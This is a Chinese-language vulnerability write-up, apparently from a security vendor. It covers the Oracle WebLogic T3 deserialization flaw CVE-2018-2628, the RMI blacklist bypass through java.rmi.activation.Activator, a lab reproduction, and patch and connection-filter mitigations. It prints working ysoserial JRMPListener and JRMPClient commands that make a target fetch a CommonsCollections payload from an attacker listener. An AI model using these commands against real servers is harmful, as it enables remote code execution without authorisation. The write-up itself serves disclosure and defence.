一、背景介绍
WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。
1. 漏洞描述
Oracle官方在2018年4月18日凌晨发布了关键补丁更新,其中包含了Oracle WebLogic Server的一个高危的Weblogic反序列化漏洞,通过该漏洞,攻击者可以在未授权的情况下远程执行代码。
此漏洞产生于Weblogic T3服务,当开放Weblogic控制台端口(默认为7001端口)时,T3服务会默认开启,因此会造成较大影响。结合曾经爆出的Weblogic WLS 组件漏洞(CVE-2017-10271),不排除会有攻击者利用漏洞挖矿的可能,因此,建议受影响企业用户尽快部署防护措施。
2.漏洞编号
CVE-2018-2628
3.受影响版本
Weblogic 10.3.6.0
Weblogic 12.1.3.0
Weblogic 12.2.1.2
Weblogic 12.2.1.3
二、漏洞原理介绍:
目前这个漏洞是结合了历史问题实现的远程命令执行,具体概括有三点
1.反射机制
JAVA反射机制是在运行状态中,对于任意一个类,都能够知道这个类的所有属性和方法;对于任意一个对象,都能够调用它的任意一个方法和属性;这种动态获取的信息以及动态调用对象的方法的功能称为java语言的反射机制。
2.RMI
RMI是Remote Method Invocation的简称,是J2SE的一部分,能够让程序员开发出基于Java的分布式应用。一个RMI对象是一个远程Java对象,可以从另一个Java虚拟机上(甚至跨过网络)调用它的方法,可以像调用本地Java对象的方法一样调用远程对象的方法,使分布在不同的JVM中的对象的外表和行为都像本地对象一样。
RMI传输过程都使用序列化和反序列化,如果RMI服务端端口对外开发,并且服务端使用了像Apache Commons Collections这类库,那么会导致远程命令执行。
RMI依赖于Java远程消息交换协议JRMP(Java Remote Messaging Protocol),该协议为java定制,要求服务端与客户端都为java编写。
3.绕过黑名单
Weblogic 中InboundMsgAbbrev 的resolveProxyClass处理rmi接口类型,因为只判断了java.rmi.registry.Registry ,找一个其他的rmi接口绕过,比如java.rmi.activation.Activator为 RMI 对象激活提供支持。
对比可以看到 ,除了接口换了,之后的rmi调用关系都一样。
java.rmi.activation.Activator->java.lang.reflect.Proxy->java/lang/reflect/InvocationHandler->
java.rmi.server.RemoteObjectInvocationHandler->java.rmi.server.RemoteObject->UnicastRef
Weblogic 使用了Apache Commons Collections库,看一下利用Commons Collections的代码。
这个是利用Apache Commons Collections库,通过反射的方式执行恶意payload,这里实现反射的函数是InvokerTransformer他们的共同特点是都需要实现序列化接口才能被反序列化,关于这个的分析有很多不详细介绍。
RMI
首先服务端监听ysoserial,上面的反射代码被集成到了ysoserial工具中的CommonsCollections 的payload中,最终依然是sun.reflect.annotation.AnnotationInvocationHandler。
java -cp ysoserial-0.0.5-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 calc.exe
攻击端生成payload,目前接口还没有更新,可自行更改,可以看到接口用的是java.rmi.registry.Registry
java -jar ysoserial-0.0.5-SNAPSHOT-all.jar JRMPClient 192.168.3.6:1099 > 1
生成的payload发送给weblogic反序列化连接服务端,服务端把恶意序列化代码发送给weblogic,weblogic再反序列化实现攻击。
三、漏洞复现:
目前是本地搭建好weblogic 10.3.6.0, ip地址为192.168.3.3
本地起一个JRMPListener
恶意代码这里只是弹计算器
然后简单分析下poc
T3handshake 建立握手
buildT3RequestObject
这部分是判断看有没有打补丁版本信息等
SendEvilObjData
Payload 中多了两层封装,中间的data我们可以自己构造,跟以前利用方法一样
构造如下
这里的生成的是下面那个payload是之前的java.rmi.registry.Registry
,对比发现,这次的poc使用java.rmi.activation.Activator绕过了黑名单
可以看到黑名单里的接口是java.rmi.registry.Registry
把生成的payload跟PAYLOAD替换下
可以看到跟我们192.168.3.6 通信了把生成的恶意测试代码弹计算器发送给weblogic
四、修复建议
官方补丁
Oracle官方已经在4月18号的关键补丁更新中修复了此漏洞,受影响的用户请尽快升级更新进行防护。
可使用正版软件许可账户登录 https://support.oracle.com,下载最新补丁。
手工修复
若要利用该漏洞, 攻击者首先需要与WebLogic Server提供的T3服务端口建立SOCKET连接, 运维人员可通过控制T3协议的访问权限来临时阻断漏洞利用。
WebLogic Server 提供了名叫“weblogic.security.net.ConnectionFilterImpl”的默认连接筛选器。该连接筛选器可控制所有传入连接,通过修改此连接筛选器规则,可对T3及T3S协议进行访问控制。
天融信产品解决方案
在该漏洞爆出的第一时间,天融信便对该漏洞进行了深入研究和分析,并制定了相关防御规则。
1、已经购买天融信入侵防御系统(TopIDP)的用户,可以通过规则库升级进行有效防护。
下载地址:
ftp.topsec.com.cn/入侵防御(TOP-IDP)/规则库升级/ips-v2018.04.18.tir
2、购买并部署天融信入侵防御系统进行防护,联系电话:800-810-5119